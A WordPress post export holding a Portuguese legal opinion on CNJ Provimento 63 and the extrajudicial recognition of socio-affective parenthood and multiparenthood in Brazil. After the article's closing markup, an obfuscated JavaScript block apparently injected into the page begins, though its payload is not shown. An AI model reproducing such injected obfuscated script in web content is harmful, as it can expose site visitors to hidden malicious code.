{"id":1397,"date":"2017-12-21T14:22:18","date_gmt":"2017-12-21T16:22:18","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/opiniao-provimento-63-do-cnj-ratifica-registrador-publico-como-promotor-da-dignidade\/"},"modified":"2017-12-21T14:22:18","modified_gmt":"2017-12-21T16:22:18","slug":"opiniao-provimento-63-do-cnj-ratifica-registrador-publico-como-promotor-da-dignidade","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/opiniao-provimento-63-do-cnj-ratifica-registrador-publico-como-promotor-da-dignidade\/","title":{"rendered":"Opini\u00e3o &#8211; Provimento 63 do CNJ ratifica registrador p\u00fablico como promotor da dignidade"},"content":{"rendered":"<div class=\"wysiwyg\">\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O Provimento 63 do CNJ trouxe a posse de estado de filho &agrave; tona, referindo-se ao &ldquo;filho de cria&ccedil;&atilde;o&rdquo;, aquele que &eacute; criado sem v&iacute;nculo de sangue, e sem formalidades. Apresenta-se, ent&atilde;o, o v&iacute;nculo afetuoso que surge entre duas pessoas (pai e filho) e que, depois de solidificado, transformar-se-&aacute; em paternidade, tal e qual a paternidade biol&oacute;gica ou adotiva legal. O caminho a ser percorrido possui determinadas fases, iniciando com o desejo de ser filho e de ser pai um do outro, passando pelo afeto rec&iacute;proco, pelo trato, pela fama, pela habitualidade, pela ininterruptabilidade e pela estabilidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A paternidade socioafetiva resultante da posse de estado de filho &eacute; recente no Direito brasileiro, mas existente h&aacute; mais tempo em outras legisla&ccedil;&otilde;es estrangeiras como a belga, a francesa e a argentina. &Eacute; ela que garante a estabilidade social, assegurando o pleno desenvolvimento da pessoa, em raz&atilde;o da base emocional criada pelo reconhecimento di&aacute;rio e afetuoso do pai pelo seu filho.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Neste sentido, compreende-se que a verdadeira filia&ccedil;&atilde;o n&atilde;o est&aacute; vinculada apenas na descend&ecirc;ncia gen&eacute;tica, mas sim, na rela&ccedil;&atilde;o de afeto entre pai e filho, fundado na exist&ecirc;ncia de uma vida em comum e refor&ccedil;ado ao longo desta vida, revelando um estado vivido, um la&ccedil;o de afeto de uma fam&iacute;lia afetiva.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para uma melhor compreens&atilde;o de como foi constru&iacute;do o instituto de paternidade socioafetiva resultante da posse de estado de filho, precisa-se analisar, separadamente, os conceitos de &ldquo;estado de pessoa&rdquo;, de &ldquo;estado de fam&iacute;lia&rdquo;, e de &ldquo;estado de filho&rdquo;, para ent&atilde;o concluir como ocorre a &ldquo;posse&rdquo; do &ldquo;estado de filho&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Julie Cristine Delinski ao analisar a doutrina de Orlando Gomes, Limongi de Fran&ccedil;a e Caio M&aacute;rio da Silva Pereira conclui que, &ldquo;estado de pessoa&rdquo; &eacute; a posi&ccedil;&atilde;o jur&iacute;dica de algu&eacute;m na sociedade, identificando-a em tr&ecirc;s esferas: pol&iacute;tico, familiar e individual. A posi&ccedil;&atilde;o familiar coloca a pessoa em outro estado, um desdobramento do &ldquo;estado de pessoa&rdquo;, que &eacute; o &ldquo;estado de fam&iacute;lia&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Dentre as posi&ccedil;&otilde;es existentes nos &ldquo;estados de fam&iacute;lia&rdquo;, uma delas &eacute; a posi&ccedil;&atilde;o de &ldquo;estado de filho&rdquo;, que &eacute; ocupado por quem est&aacute; na linha reta, descendente, em primeiro grau.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O estado de filho &eacute; indivis&iacute;vel, pois cada pessoa possui o seu e n&atilde;o pode possuir mais de um, sendo opon&iacute;vel <em>erga omnes<\/em>. Ele &eacute; indispon&iacute;vel, pois est&aacute; fora do com&eacute;rcio. &Eacute; irrenunci&aacute;vel, porque possui atributos pessoais, sendo um reflexo da personalidade. &Eacute; tamb&eacute;m imprescrit&iacute;vel, pois pode o filho a qualquer tempo, reclamar o seu estado[3].<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ainda, o estado de filho pode ser suscet&iacute;vel de posse por outra pessoa, que n&atilde;o &eacute; filho biol&oacute;gico ou adotivo, mas est&aacute; ocupando esta posi&ccedil;&atilde;o na fam&iacute;lia de forma &iacute;ntima, p&uacute;blica e duradoura e, aos olhos da sociedade, esta rela&ccedil;&atilde;o f&aacute;tica de pai e filho cria uma reputa&ccedil;&atilde;o e passa a ser aceita como se fosse verdadeira, em raz&atilde;o do afeto existente entre ambos que se chamam de pai e filho[4].<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O livre exerc&iacute;cio da posse do estado de filho cria, com o passar do tempo, uma situa&ccedil;&atilde;o afetiva consolidada, p&uacute;blica, como se realmente fosse, perante a sociedade, uma filia&ccedil;&atilde;o de sangue ou adotiva. &Eacute; algu&eacute;m ocupando, possuindo, o estado de filho, em rela&ccedil;&atilde;o a um pai e, por este, sendo aceito como se filho seu fosse. O sentimento de amor paterno-filial, criado entre eles, transforma-se em verdade social, sendo aceita por todos como se fosse &agrave; realidade biol&oacute;gica ou jur&iacute;dica (adotiva). Por isso, se diz que ocorre a &ldquo;posse do estado de filho&rdquo;, ou seja, algu&eacute;m est&aacute; ocupando um espa&ccedil;o no seio de uma fam&iacute;lia que, originalmente, n&atilde;o lhe pertence, mas passa a lhe pertencer em raz&atilde;o do sentimento humano de solidariedade e afetividade que transforma aquela rela&ccedil;&atilde;o entre estranhos em uma rela&ccedil;&atilde;o de pai e filho.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para que ocorra a posse do estado de filho s&atilde;o necess&aacute;rios alguns elementos constitutivos na rela&ccedil;&atilde;o paterno-filial, sendo eles: o nome (nominatio), ou seja, deve o filho sempre ter usado o nome do pai ao qual ele se identifica; o trato (tractatus), que &eacute; o tratamento que o filho deve ter recebido do pai, como se filho fosse, tendo ele colaborado para sua educa&ccedil;&atilde;o e forma&ccedil;&atilde;o; e a fama (reputatio) que &eacute; o reconhecimento p&uacute;blico da qualidade de filho por aquele pai, pela sociedade e pela fam&iacute;lia[5].<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Luiz Edson Fachin[6], afirma que a tradicional trilogia (nomen, tractatus e fama) se apresenta, eventualmente, desnecess&aacute;ria, pois outros fatos podem ser invocados na apura&ccedil;&atilde;o da &ldquo;posse de estado de filho&rdquo;. Ressalta, ainda, que a &ldquo;posse de estado de filho&rdquo; n&atilde;o deve sofrer interrup&ccedil;&atilde;o e que a sua dura&ccedil;&atilde;o deve conter um m&iacute;nimo que ateste a sua estabilidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; De nada adiantaria algu&eacute;m querer ser filho de outrem se este assim n&atilde;o desejar. Da mesma forma, n&atilde;o &eacute; paternidade algu&eacute;m querer ser pai de uma pessoa que n&atilde;o lhe reconhece como tal. O estado paterno-filial necessita de calor para sobreviver, e este calor &eacute; proveniente da chama do afeto, elemento caracterizador da paternidade socioafetiva.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Jorge Trindade[7] explica que a apar&ecirc;ncia da posse de estado de filho est&aacute; vinculada ao elemento fama, pois &eacute; atrav&eacute;s deste elemento que a sociedade tem a certeza do v&iacute;nculo entre pai e filho. Para o autor, em raz&atilde;o da apar&ecirc;ncia perante terceiros &eacute; ineg&aacute;vel a rela&ccedil;&atilde;o paterno filial, sendo o estado de apar&ecirc;ncia um elemento que comprova a manifesta&ccedil;&atilde;o da paternidade socioafetiva.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Nesta linha, importante &eacute; o reconhecimento do pai em rela&ccedil;&atilde;o ao filho. N&atilde;o apenas o reconhecimento jur&iacute;dico, mas tamb&eacute;m o reconhecimento da import&acirc;ncia da pessoa e do seu lugar dentro da fam&iacute;lia. Reconhecer um filho, de sangue ou n&atilde;o, &eacute; um ato de fraternidade e solidariedade, que est&aacute; sob o manto da dignidade humana.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O reconhecimento de paternidade &eacute; um ato volunt&aacute;rio, livre, espont&acirc;neo, incondicional e irrevog&aacute;vel. Mais do que isso, o reconhecimento de paternidade &eacute; um ato de afeto, uma decis&atilde;o de tornar-se pai de algu&eacute;m, uma decis&atilde;o de assumir e exercer a fun&ccedil;&atilde;o paterna na vida de outra pessoa.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ser reconhecido como filho, &eacute; sentir-se amado, individualizado e integrado em uma entidade familiar, pertencente a um todo maior, que envolve tamb&eacute;m as pessoas ligadas ao c&iacute;rculo de rela&ccedil;&otilde;es do pai, gerando assim um sentimento de reconhecimento social, formador da personalidade, a qual &eacute; estruturada na necessidade de preserva&ccedil;&atilde;o da auto estima e no senso de identidade[8].<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Reconhecimento e identidade possuem uma rela&ccedil;&atilde;o muito pr&oacute;xima, sendo o reconhecimento um dos fatores formadores da identidade de uma pessoa[9].<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O reconhecimento, portanto, n&atilde;o &eacute; apenas um fator biol&oacute;gico, mas sim um fator emocional e determinante para a forma&ccedil;&atilde;o da personalidade do indiv&iacute;duo em desenvolvimento. Por isso se diz que a paternidade n&atilde;o &eacute; um fato da natureza, mas sim um fato cultural[10]. O pai que educa, orienta e convive ao lado do seu filho nem sempre &eacute; o pai biol&oacute;gico. Ele &eacute; identificado pelo exerc&iacute;cio da fun&ccedil;&atilde;o paterna, permitindo ao filho, atrav&eacute;s da linguagem, o acesso &agrave; cultura, tornando-o um sujeito[11].<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para que o reconhecimento de paternidade surta efeitos jur&iacute;dicos, ele deve ser documentado, e a forma extrajudicial, perante o not&aacute;rio ou o oficial do registro civil das pessoas naturais &eacute;, na atualidade, o meio mais r&aacute;pido e pr&aacute;tico de regulariza&ccedil;&atilde;o desta situa&ccedil;&atilde;o de fato. O reconhecimento documental da paternidade proporciona o reconhecimento social, elemento caracterizador da dignidade humana.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O Provimento 63, republicado, trouxe uma s&eacute;rie de novidades. Inspirado no julgamento do RE 898.060\/SC pelo Supremo Tribunal Federal. Assim, surge no Brasil, oficialmente, a pluriparentalidade, ou dupla paternidade, ou multiparentalidade, tese j&aacute; consolidada na Suprema Corte de Lousiana, nos Estados Unidos, que no ano de 1989 ao analisar o caso de uma crian&ccedil;a nascida durante o casamento de sua m&atilde;e com homem diverso do seu pai biol&oacute;gico determinou a dupla paternidade justificando que &ldquo;o pai biol&oacute;gico n&atilde;o escapa de suas obriga&ccedil;&otilde;es de manuten&ccedil;&atilde;o do filho meramente pelo fato de que os outros podem compartilhar com ele a responsabilidade&rdquo;. Mais que isso, o Provimento 63 trata da maternidade socioafetiva, seguindo os mesmos moldes da paternidade socioafetiva.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O provimento fala que o reconhecimento de paternidade ou maternidade socioafetiva de pessoa de qualquer idade ocorrer&aacute; perante o oficial do registro civil das pessoas naturais, ainda que de local diverso de onde est&aacute; o registro de nascimento, sendo ele irrevog&aacute;vel. Somente o juiz poder&aacute; desconstitu&iacute;-lo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para reconhecer &eacute; preciso ter no m&iacute;nimo 18 anos de idade, e no m&iacute;nimo 16 anos a mais que o filho que ser&aacute; reconhecido, independentemente do estado civil de qualquer das partes envolvidas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Aqui uma diferen&ccedil;a do reconhecimento de filho biol&oacute;gico, que pode ocorrer por relativamente incapaz, conforme Provimento 16\/2012 do Conselho Nacional de Justi&ccedil;a que permite, em seu artigo 6, par&aacute;grafo 4, o reconhecimento de filhos por relativamente incapazes, autorizando, assim, os maiores de 16 e menores de 18 anos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; N&atilde;o podem os irm&atilde;os reconhecerem-se entre si como filhos uns dos outros. N&atilde;o podem tamb&eacute;m os av&oacute;s e demais ascendentes reconhecerem como filhos os seus netos e demais descendentes.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A regra da anu&ecirc;ncia mudou para os filhos socioafetivos, diferenciando-se dos filhos biol&oacute;gicos (o que fere o princ&iacute;pio da igualdade da filia&ccedil;&atilde;o).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A Lei 8560\/92 e o Provimento 16 do CNJ determinam que no reconhecimento de filho biol&oacute;gico, sendo ele menor, dever&aacute; a m&atilde;e dar a anu&ecirc;ncia, e se maior, dever&aacute; o pr&oacute;prio filho dar a anu&ecirc;ncia.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; J&aacute; o Provimento 63 do CNJ determina que, quando do reconhecimento de filho socioafetivo, se este for menor de 12 anos, dever&aacute; a m&atilde;e dar a anu&ecirc;ncia (artigo 11, d 3 e d 5 do Provimento 63) e sendo maior de 12 anos, dever&aacute; ele pr&oacute;prio dar o seu consentimento (aqui o Provimento seguiu a mesma sistem&aacute;tica do processo judicial de ado&ccedil;&atilde;o, conforme os artigos 2a, 28 d 2a. e 45 d 2a. da Lei 8.069\/90 &#8211; Estatuto da Crian&ccedil;a e do Adolescente)<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ao detalhar a necessidade das anu&ecirc;ncias no reconhecimento de filia&ccedil;&atilde;o, o provimento trouxe a novidade da multiparentalidade, ou pluriparentalidade extrajudicial, que &eacute; a possibilidade de constar no registro de nascimento dois pais e\/ou duas m&atilde;es (biol&oacute;gicos e socioafetivos).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Observe que o artigo 11, fala da anu&ecirc;ncia do pai e da m&atilde;e em dois momentos:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">d 3a. &ldquo;[&#8230;] devendo o registrador colher a assinatura do pai e da m&atilde;e do reconhecido, caso este seja menor&rdquo;.<\/p>\n<p style=\"text-align: justify;\">d 5a. &ldquo;A coleta da assinatura tanto do pai quanto da m&atilde;e e do filho maior de 12 anos dever&aacute; ser feita pessoalmente perante o oficial de registro civil das pessoas naturais ou escrevente autorizado.&rdquo;<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ou seja, se a crian&ccedil;a j&aacute; tiver pai e m&atilde;e no registro (por exemplo biol&oacute;gicos) poder&aacute; ser feito o reconhecimento extrajudicial de paternidade ou maternidade socioafetiva, desde que ambos os pais biol&oacute;gicos concordem.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A mesma regra valer&aacute; se o filho tiver como pai no registro um pai socioafetivo e a m&atilde;e biol&oacute;gica, e o pai biol&oacute;gico quiser fazer o reconhecimento tardio. Dever&aacute; ser colhida a anu&ecirc;ncia dos pais constantes no registro.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; N&atilde;o sendo poss&iacute;vel conseguir alguma das anu&ecirc;ncias, ou se o registrador suspeitar de fraude, m&aacute;-f&eacute;, v&iacute;cio de vontade, simula&ccedil;&atilde;o ou d&uacute;vida quanto a posse de estado de filho o caso dever&aacute; ser encaminhado ao juiz de direito competente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O provimento n&atilde;o deixa claro se &eacute; necess&aacute;ria tamb&eacute;m a anu&ecirc;ncia dos pais registrais quando o filho tiver mais de 12 anos, ou se basta a do pr&oacute;prio filho. Todavia, parece-me que o mais apropriado &eacute; colher a assinatura dos pais registrais, mesmo quando o filho tiver mais de doze anos, eis que a Lei 8.560\/92 pode ser aplicada subsidiariamente no caso de d&uacute;vidas na interpreta&ccedil;&atilde;o do Provimento 63.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O provimento trouxe ao final, como anexo, um modelo de termo de reconhecimento de filia&ccedil;&atilde;o socioafetiva, a ser utilizado pelos oficiais de registro civil das pessoas naturais.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A natureza do documento, se p&uacute;blica ou particular, parece confusa na reda&ccedil;&atilde;o do provimento. Ora ele fala em &ldquo;escrito particular&rdquo; (artigo 11 d 1a), ora ele fala em &ldquo;documento p&uacute;blico&rdquo; (artigo 11 d 8a), ora ele fala em documento &ldquo;particular de ultima vontade&rdquo; (artigo 11 d 8a).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; claro que o documento &eacute; p&uacute;blico. Possui modelo pr&oacute;prio do CNJ, &eacute; preenchido dentro do cart&oacute;rio de registro civil pelo oficial que far&aacute; a identifica&ccedil;&atilde;o dos presentes e assinado pelo pr&oacute;prio oficial ao final.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O ato &eacute; unilateral. Ou seja, n&atilde;o se admite o reconhecimento conjuntivo, de duas pessoas ao mesmo tempo. Cada reconhecimento ser&aacute; lavrado em termo pr&oacute;prio e o limite &eacute; dois pais e duas m&atilde;es no registro.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Assim, hipoteticamente, se uma crian&ccedil;a tiver apenas o nome da m&atilde;e no seu registro e comparecem ao cart&oacute;rio o pai socioafetivo e o pai biol&oacute;gico querendo reconhece-la ao mesmo tempo, para cada reconhecimento ser&aacute; lavrado um termo pr&oacute;prio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Lavrado o termo de reconhecimento, ele ser&aacute; averbado no registro do filho reconhecido, expedindo uma nova certid&atilde;o de nascimento sem mencionar a origem da filia&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Assim, a nova norma permite &agrave;s fam&iacute;lias recompostas que a verdade real sobre a filia&ccedil;&atilde;o conste nos documentos do registro civil, sem a necessidade da chancela judicial, possuindo o oficial do registro civil a compet&ecirc;ncia para analisar cada caso e deferir ou n&atilde;o o pedido de reconhecimento.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Trata-se de mais um ato de jurisdi&ccedil;&atilde;o volunt&aacute;ria, estendido ao registrador p&uacute;blico do Brasil, que est&aacute; presente na maioria dos munic&iacute;pios e &eacute; conhecedor da realidade local. Novamente o Poder Judici&aacute;rio delega um ato, que antes lhe era exclusivo, visando a desjudicializa&ccedil;&atilde;o, ao registrador p&uacute;blico, pela confian&ccedil;a na qualidade do servi&ccedil;o registral brasileiro, reconhecido como um dos mais eficientes do mundo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O Provimento 63 do CNJ colabora com a constru&ccedil;&atilde;o de uma sociedade brasileira mais justa e fraterna, ratificando a fun&ccedil;&atilde;o social do registrador p&uacute;blico brasileiro como promotor da dignidade humana.<\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp; Clique <a href=\"https:\/\/www.conjur.com.br\/dl\/marcos-salomao-norma-cnj-mostra.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">aqui<\/a> para ler o artigo completo.<\/strong><\/p>\n<p style=\"text-align: justify;\">[1] BOEIRA, Jos&eacute; Bernardo Ramos. <em>Investiga&ccedil;&atilde;o de paternidade: posse de estado de filho, paternidade socioafetiva<\/em>. Porto Alegre: Livraria do Advogado, 1999.<\/p>\n<p style=\"text-align: justify;\">[2] DELINSKI, Julie Cristine. <em>O novo Direito de filia&ccedil;&atilde;o<\/em>. S&atilde;o Paulo: Dial&eacute;tica, 1997.<\/p>\n<p style=\"text-align: justify;\">[3] DELINSKI, Julie Cristine. <em>O novo Direito de filia&ccedil;&atilde;o<\/em>. S&atilde;o Paulo: Dial&eacute;tica, 1997.<\/p>\n<p style=\"text-align: justify;\">[4] BOEIRA, Jos&eacute; Bernardo Ramos. <em>Investiga&ccedil;&atilde;o de paternidade: posse de estado de filho, paternidade socioafetiva<\/em>. Porto Alegre: Livraria do Advogado, 1999.<\/p>\n<p style=\"text-align: justify;\">[5] TRINDADE, Jorge. <em>Manual de psicologia jur&iacute;dica para operadores do Direito<\/em>. 7.ed. Porto Alegre: Livraria do Advogado, 2014.<\/p>\n<p style=\"text-align: justify;\">[6] FACHIN, Luiz Edson. <em>Estabelecimento da filia&ccedil;&atilde;o e paternidade presumida<\/em>. Porto Alegre: Fabris, 1992.<\/p>\n<p style=\"text-align: justify;\">[7] TRINDADE, Jorge. <em>Manual de psicologia jur&iacute;dica para operadores do Direito<\/em>. 7.ed. Porto Alegre: Livraria do Advogado, 2014.<\/p>\n<p style=\"text-align: justify;\">[8] ZIMERMAN, Davi E. <em>Fundamentos psicanal&iacute;ticos: teoria, t&eacute;cnica e cl&iacute;nica<\/em>. Uma abordagem did&aacute;tica. Porto Alegre: Artmed, 1999.<\/p>\n<p style=\"text-align: justify;\">[9] TAYLOR, Charles et al. <em>Multiculturalismo<\/em>. Tradu&ccedil;&atilde;o: Marta Machado. Lisboa: instituto Piaget, 1994.<\/p>\n<p style=\"text-align: justify;\">[10] VILELLA, Jo&atilde;o Baptista. <em>Desbiologiza&ccedil;&atilde;o da paternidade<\/em>. Revista da Faculdade de Direito da Universidade Federal de Minas Gerais. Belo Horizonte, maio de 1979.<\/p>\n<p style=\"text-align: justify;\">[11] PEREIRA, Rodrigo da Cunha. <em>Direito de Fam&iacute;lia: uma abordagem psicanal&iacute;tica<\/em>. 4.ed. Rio de Janeiro: Forense, 2012.<\/p>\n<p style=\"text-align: justify;\"><strong><em><a href=\"mailto:%73%61%6c%6f%6d%61%6f%40%63%61%72%74%6f%72%69%6f%73%61%6c%6f%6d%61%6f%2e%63%6f%6d%2e%62%72\" rel=\"author\">Marcos Costa Salom&atilde;o<\/a>&nbsp;&eacute; registrador p&uacute;blico em Tr&ecirc;s de Maio (RS), doutorando e mestre em Direito pela URI, em Santo &Acirc;ngelo (RS), e professor de Direito Civil na FEMA, em Santa Rosa (RS).<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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